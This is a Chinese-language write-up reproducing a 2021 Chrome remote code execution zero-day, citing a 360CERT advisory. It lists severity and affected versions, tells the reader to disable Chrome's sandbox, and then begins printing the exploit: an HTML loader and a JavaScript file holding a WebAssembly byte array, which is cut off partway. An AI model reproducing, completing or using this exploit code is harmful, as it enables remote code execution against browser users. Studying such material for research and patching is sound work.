【复现】windows Chrome 0day漏洞

参考链接：
https://www.pwnwiki.org/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E

http://pub-shbt.s3.360.cn/cert-public-file/%E3%80%90360CERT%E3%80%91%E3%80%90POC%E5%85%AC%E5%BC%80%E3%80%91Chrome_%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C0Day%E6%BC%8F%E6%B4%9E%E9%80%9A%E5%91%8A.pdf

【复现】windows Chrome 0day漏洞

0x01漏洞描述

Chrome远程代码执行0day漏洞
漏洞等级：严重
漏洞评分：9.8

Google Chrome是由Google开发的免费网页浏览器。Chrome相应的开放源代码计划名为Chromium，而Google Chrome本身是非自由软件，未开放全部源代码。
目前Google只针对该漏洞发布了beta测试版Chrome（90.0.4430.70）修复，Chrome正式版（ 89.0.4389.114）仍存在漏洞

0x02漏洞详情

Chrome远程代码执行漏洞
组件：Chrome
漏洞类型：命令执行
影响：服务器接管
简述：攻击者利用此漏洞，可以构造一个恶意的web页面，当用户访问该页面时，会造成远程漏洞代码执行。

0x03漏洞复现

1.首先关闭Chrome浏览器的沙盒模式

2.再次打开浏览器，发现出现-no-sandbox,

3.代码程序

exploit.html

<script src="exploit.js"></script>

exploit.js

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,